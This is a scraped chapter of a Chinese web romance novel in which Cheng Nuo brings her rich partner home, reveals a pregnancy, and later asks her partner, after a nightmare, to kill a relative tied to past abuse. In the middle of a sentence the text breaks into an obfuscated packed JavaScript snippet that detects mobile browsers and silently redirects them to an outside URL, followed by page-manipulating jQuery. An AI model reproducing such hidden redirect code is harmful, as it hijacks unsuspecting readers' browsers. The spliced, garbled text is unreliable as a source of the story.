131. 生子—痛苦

作品:《病弱omega对我强取豪夺

    程诺没有告诉程惠,她已经和纪溪登记的事,只说她要带一个人回来。


    程惠听后很高兴,忙问纪溪有什么忌口,以及她的个人信息,迫切地想知道女儿的对象是一个什么样的人。


    听着那充满着纯粹欢喜的声音,程诺心里感觉松快了些,轻声回复着她。


    不过程诺没告诉程惠,纪溪具体的情况,只说她家里做点小生意。


    听到纪溪比程诺大了九岁,程惠在电话那头沉默了几秒,笑声依旧,只是添了些许忧心。


    程诺担心再聊下去,会听到不爱听的话,随便找了个借口挂断电话。


    在程诺决定回去的那天,纪溪就已经让人安排好一切。


    因为e市没有规划空中行驶路线,两人选择坐飞机过去。刚到机场,提前一天到达e市的保镖,开车送她们前往程诺的家。


    考虑到程诺的身体状况,纪溪安排了六个保镖,另外四个跟在后面那辆车。虽然已经提前说过要低调些,但两辆价值不菲的豪车同时开进县城里一个普通小区,还是引来围观者的注目。


    临近家门,程诺反倒紧张起来,手指无意识地绞紧了衣角。窗外那些或好奇或艳羡的目光,让她如芒在背。


    纪溪察觉到了她的紧绷,在车子停稳前,复上她的手背。


    “别紧张,吃个饭而已。”她的声音压得很低,只有程诺能听见,“不高兴了,我们随时离开。”


    车门打开,寒风吹得程诺一激灵。


    先下车的两名保镖训练有素地护在两侧,隔绝了大部分探究的视线,却也让这阵仗显得更加突兀。程诺深吸一口气,更加用力地握紧纪溪的手。


    程惠早站在单元门口等候,看到两人时,脸上是混合着喜悦、紧张和一丝惊讶。


    看到这阵势,她明显愣了一下,脚步顿了顿,才赶忙迎上来,脸上的笑容有些僵硬,“小诺,回来啦!这位就是小溪吧?哎呀,这……怎么还带这么多人,快、快上楼,外头冷!”


    “阿姨,您好。”纪溪微微颔首,态度恭敬,不失分寸,“打扰了。这些是公司的同事,顺路送我过来,她们一会儿就走。”


    她朝身后的保镖队长递了个眼色,队长会意,只有两人提着精心准备的礼品跟了上来,其余人连同车子,很快悄无声息地驶离了小区,停在稍远处待命。


    这让程惠稍稍松了口气,领着两人进了电梯。


    e市的冬天比S市要冷很多,程惠也不知道在下面等了多久,手指冻得通红。程诺看着怕冻到自己、转而摸向她胳膊的母亲,心里说不清是什么滋味。


    电梯里,程惠一边跟程诺说话,一边悄悄打量着纪溪。


    近距离看,这个比自己女儿大九岁的女人,容貌是出乎意料的清隽好看,眼神沉稳,举止间有种说不出的从容气度,绝非她想象中“做点小生意”那么简单。


    两人身上看似普通的大衣,程惠一摸,就知道价格不菲。


    程惠心里那点关于“年纪大”、“条件可能不错”的模糊猜想,此刻变得具体而庞杂起来,沉甸甸地压在心头。


    “你爸知道你要回来,今早特意起了个大早,去菜场挑了条海鲈回来做红烧鱼!”


    程惠推开家门,饭菜的香味扑面而来。赵鑫穿着围裙从厨房探出半个身子,手里还在搅鸡蛋。看到门口站着一群人,他先是愣了一下,紧接着看向程诺,目光又在纪溪身上停留一瞬,笑着打了个招呼,


    “回来啦?快坐快坐!闺女,饿了没?饭还要一会,让你妈给你们把汤先热着。”


    程诺抿了下唇,心里闷得慌,“……爸。”


    纪溪也跟着叫了声叔叔,同时打量起程诺从小生活的地方。


    地方不大,但很整洁。客厅的沙发上,一个十一二岁的男生正埋头抱着手机,手指在屏幕上飞快划动,激烈的游戏音效开得震天响,他整个身子随着游戏节奏微微晃动,完全沉浸在自己的世界里。


    那是程诺的弟弟,赵耀武。


    “耀武,姐姐回来了,快叫人!”程惠提高声音,带着宠溺和无奈。


    赵耀武头也没抬,敷衍地“嗯”了一声,手指动作不停。


    程诺扫了眼他,没什么反应,牵着纪溪的手坐到沙发另一侧。


    程惠皱了皱眉,走过去:“耀武,把声音关小点,有客人。”


    赵耀武这才不情不愿地抬起眼皮,飞快地扫了程诺和纪溪一眼,目光在纪溪脸上停了一秒,眼睛微眯,似乎觉得有点眼熟,但又迅速落回屏幕上,只是随手把音量调低了些,嘟囔道:“打完这局。”


    程惠有些尴尬,忙对纪溪解释:“这孩子,就爱玩个游戏,一说他就不高兴……小溪,你别介意。”她手脚麻利地接过保镖放在门口的礼品,触手是沉甸甸的分量和精细的包装,心里又是一阵没底。


    “没事,我家也有小孩,这个年纪的孩子是挺闹的。”纪溪语气平和,并不在意。


    程惠一听愣住了,看了看默不作声的程诺,“你家?”


    “我哥的。”知道她误会了,纪溪轻笑着解释。


    程惠松了口气,但心里那根弦依旧没松。她将礼品收好,招呼两人喝茶,转身去厨房端汤。赵鑫也回厨房继续忙碌。


    客厅里只剩下三人。程诺没有和赵耀武沟通的意思,纪溪也懒得搭理,从果盘里拿了个冬枣递给程诺,程诺却没什么胃口。


    “要去我房间看看吗?”游戏声吵得她头疼,程诺勾住纪溪的手指,轻声开口。


    纪溪咬了口枣子,眉眼舒展,“好呀,就等着你这句话呢!”


    两人刚起身,赵耀武那边似乎又打完一局,烦躁地“啧”了一声,猛地抬头,目光恰好捕捉到纪溪站起身的侧影和那抹浅淡笑意。他心头那点模糊的熟悉感,瞬间变得清晰无比。


    他连忙打开搜索引擎,手指划拉着屏幕


    “等等!”


    突如其来的一声吼让程诺更加烦躁,她扯着纪溪往自己房间走,一步也没停。


    但赵耀武却跑到她们前面,堵在房门口,纪溪本能地抬手护住程诺,看向他的眼神也多了几分不耐烦。


    他举起手机,满脸的不可置信,手指指着纪溪,抖了两下,话都说不利索了:


    “你……你……你是那个……纪、纪……”


    他似乎太过震惊,名字卡在喉咙里。


    程诺眉间的厌烦越来越浓,“滚。”


    闻言纪溪稍显惊讶地看了眼她。


    这还是她头一回听程诺用这种语气说话。


    程惠刚端着汤出来,看到这一幕立马出声呵斥,“打游戏去,别烦你姐!”


    赵耀武现在谁的话都听不进去,满眼都是纪溪,脸都激动的红透了,


    “纪溪?!腾飞的老总?妈、爸!她是腾飞的总裁,腾飞啊!!”


    赵耀武的声音在狭窄的客厅里回荡,原本还在布菜的两个人在听到“腾飞”后,瞬间愣在原地。


    腾飞集团。


    就算她们只是普通人家,也明白纪溪的身份有多尊贵。


    想到她们刚来时的阵仗,程惠只觉得大脑一片空白,她下意识看向程诺,声音干涩,“小诺,你不是说她家只做点小生意吗……”


    反正也没想瞒住,程诺坦然道:“怕你们太紧张就没说,是不是有什么关系吗?我和她已经登记了。”


    “什么?!”两人同时叫出声。


    程诺还想说下去,被纪溪拦住了。


    “阿姨,叔叔。”纪溪顿了顿,目光坦诚地迎上程惠惊惶不安的视线:“我和程诺是真心在一起,已经有一段时间了。这次回来,就是以她伴侣的身份,正式拜访二老。我尊重她,爱护她,也希望得到你们的认可和祝福。”


    伴侣。祝福。


    这两个词像针一样扎进程惠混乱的脑子里。


    祝福?让她怎么祝福?对方是腾飞的总裁!那样显赫的家世,那样庞大的财富和权力……她的女儿,从小懂事却总被忽略的女儿,怎么会卷进这样的关系里?这根本不是她想象中的女儿该有的、安稳踏实的婚姻。


    这样的人物,对她女儿能有几分真心?如果只是一时兴起呢?


    巨大的恐惧和无力感攥紧了程惠的心脏,她嘴唇哆嗦着,看着纪溪,又看看站在纪溪身旁、眉眼温柔的程诺,一句话也说不出来,只觉得天旋地转。


    赵鑫勉强从震惊中回过神来,他深吸一口气,将锅铲放在一边,搓了搓手,“吃饭……先吃饭吧,有什么事吃完饭再说。”


    纪溪看了一眼程诺,程诺点了下头。两人依言坐下,但气氛已然完全不同。


    一顿饭吃下来只有赵耀武最开心。


    直到吃完饭他还在兴奋地嚷嚷:“**!姐,你也太牛了吧!我同学他们肯定羡慕死我了!你们怎么认识的?能不能让嫂子给我弄个腾飞最新款的游戏舱?我们班好多人都想要,但太贵了,这下好了,我要多少有多少!”他的思维已经跳跃到了如何利用这层关系谋取好处上,眼中闪烁着毫不掩饰的贪婪。


    “赵耀武。”


    这次开口的是纪溪。


    她的声音不高,甚至没有刻意加重语气,但那股久居上位的威压却自然而然地流露出来,瞬间盖过了赵耀武的喧哗。


    纪溪扶着面色不佳的程诺往后退了两步,垂眸看他,“安静点。”


    赵耀武的兴奋戛然而止,像只被掐住脖子的公鸡。


    程惠也从浑浑噩噩中惊醒,看着儿子吃瘪又不敢发作的样子,心里五味杂陈。


    她上前一把将赵耀武扯到身后,“回你房间去!作业写完了吗?一天到晚就知道游戏游戏!”


    赵耀武梗着脖子,不服气地想争辩,但瞥见纪溪依旧没什么表情的脸,到底没敢再闹,悻悻地“切”了一声,甩开母亲的手,重重地摔上自己房间的门。


    客厅里重新安静下来,尴尬和凝滞的气氛几乎让人窒息。


    程惠看着被纪溪半扶半抱着的女儿,嘴唇动了动,那句“不舒服吗?”在舌尖滚了滚,最终却变成一句干巴巴的,“小诺,你脸色不好,要不要去躺会儿?”


    程诺确实觉得头晕恶心,她下意识地抚了下小腹,这个细微的动作被一直关注着她的双亲捕捉到。


    “小诺,你不会……”身为过来人,程惠当然明白这意味着什么。


    程诺倚靠着纪溪,点了点头,“嗯,我怀孕了。”


    程惠眼前一黑,差点晕过去。


    ……


    吃完药后,程诺感觉好了很多,纪溪本想陪她躺会的,但程惠一直守


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112867|184737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在房间里,似乎有话要对程诺说。


    赵鑫也在门外等着,想问纪溪一些事。


    “宝宝?”纪溪询问她的意见。


    程诺看了眼一旁的母亲,朝她露出一个笑,“先出去吧,我和我妈说会话。”


    等到屋内只剩下母女两人,程惠坐到床边,握住程诺的手,焦急地询问:


    “你跟妈说实话,是不是她逼你的?你还在上学,怎么就怀孕了?你现在跟她住在一起吗?你是不是有什么难处?”


    她眼中闪动的泪花让程诺那颗死寂的心再次感到温暖,声音也不由得轻柔下来,“没有,她对我很好,我们是两情相悦。”


    这话让程惠怎么相信呢?


    她又问了许多,程诺回答的格外耐心,眼底的寒冰也慢慢融化。


    “那你现在在工作吗?”程惠问了最重要的一件事,“你有收入吗?”


    程诺眸中闪过异色,摇摇头,“她能养得起我。”


    “不行!”程惠几乎是条件反射般地喊出声,握着程诺的手猛地收紧,“你一定要去上班!挣多挣少不重要,你手里得有钱,手心向上的日子不好过!小诺,你听妈的,等孩子生下来恢复好了,就去找班上!你读了这么多年书,不能跟妈一样在家给人带孩子!”


    她看着稚气未脱的女儿,心里又急又痛:“你还年轻,有些话听听就好,不能信!她现在喜欢你、愿意养你,等再过几年感情淡了,就是她养的你!小诺,你不能完全依靠她,万一……万一以后有什么变故,你连条退路都没有啊!”


    程诺安静地听着,目光越发柔和。


    程惠又说了许多掏心窝子的话,生怕她走上自己的老路,说到最后眼泪都出来了。


    看着她抹着眼泪的样子,程诺反而弯起了眸子。


    “妈妈……”


    轻轻地抱住她,程诺很开心,“我知道的,妈妈,别担心。”


    另一边,赵鑫也问了纪溪许多事,谈话间都是父亲对女儿的关心。


    纪溪感觉程诺和父母之间的关系应该没那么差,除了赵耀武不讨喜外,其余的纪溪觉得都还行,父母也挺关心她的。


    或许是父母的态度让程诺对她们的看法发生改观,下午她脸上的笑容明显变多了。


    纪溪感受到她的变化,心想这次来对了。


    而这阖家团圆的气氛却在傍晚被打破。


    晚饭前,程诺的大伯一家突然过来了,说是听说程诺带着对象回来,特意过来看看。


    纪溪正准备打招呼,余光瞥见程诺脸色骤冷,紧咬着牙关,似乎在克制什么。


    程诺视线从赵耀文脸上划过,落到正在热情招待他们一家的程惠身上,愤怒、悲痛、难堪霎时涌上心头,让她眼眶酸胀,呼吸急促。


    在赵鑫问她怎么不知道叫人时,她深深地看了眼还在和大伯母谈笑的程惠,随后头也不回地冲出家门。


    这一幕让众人都愣住了,纪溪忙追了上去。


    可任凭纪溪怎么问,程诺都不说。


    担心她跑得太快动了胎气,纪溪抱着她上车,两人来到订好的酒店休息。


    晚饭程诺只吃了两口,就说没胃口吃不下。纪溪猜到她心里有事,也不敢逼她,喂她把药吃了,没一会人就睡着了。


    纪溪趴在她旁边想了半天,也不知道是怎么了?她大概能猜到,程诺不喜欢大伯一家,但她没法体会到对亲戚的厌恶能有多深。


    反正她家亲戚,不管喜欢她还是讨厌她的,都得想着法子讨她开心,她没什么特别讨厌的亲戚。


    深夜,程诺睡得很不安稳。


    她做了个噩梦。


    梦里她回到了初一那年,赵耀文扑了上来,她拿着水杯朝他头上砸去,把人砸倒在地。


    但这一次没有人进来阻止她。


    她拿着杯子砸了一下又一下,脚下的血越来越多,那条裙子也浸泡在血水里,看不出原先的模样。


    握着利器的手也慢慢变大,程诺感觉心里有团火在烧,烧得她快要痛死了,只有鲜血才能抚慰她的痛楚。


    “……宝宝……宝宝?醒醒……程诺!”


    熟悉的声音让她从梦中抽离,程诺猛地睁开眼,看着面前神情紧张的纪溪,呼吸有些困难。


    “没事没事……噩梦了是不是?”纪溪快被她吓死了,擦去她额头上的冷汗,抱起她轻拍着后背,“梦里都是假的,不怕,我在呢……”


    “……”


    程诺说了什么,纪溪没听清,凑近贴到她唇边,“什么?”


    “赵耀文……”


    细长的手指紧攥住纪溪的衣服,程诺眼底爬上血丝,声音干哑,


    “杀了他……纪溪,你帮我杀了他。”


    纪溪还没想起这人是谁,瞧见她眼角划落的泪水,本能地应下,


    “好。”


    亲吻着她的脸颊,纪溪眼里藏不住的心疼,“不哭了,想要什么告诉我就好,宝宝,别难过……”


    得到了答复,可程诺的眼泪却落得更凶了。


    “为什么……”


    视线逐渐模糊,程诺紧贴着她的身体,终于忍不住哭出声,


    “为什么你愿意啊……”


    当感受到真正的爱,痛苦会比幸福先一步将人吞噬。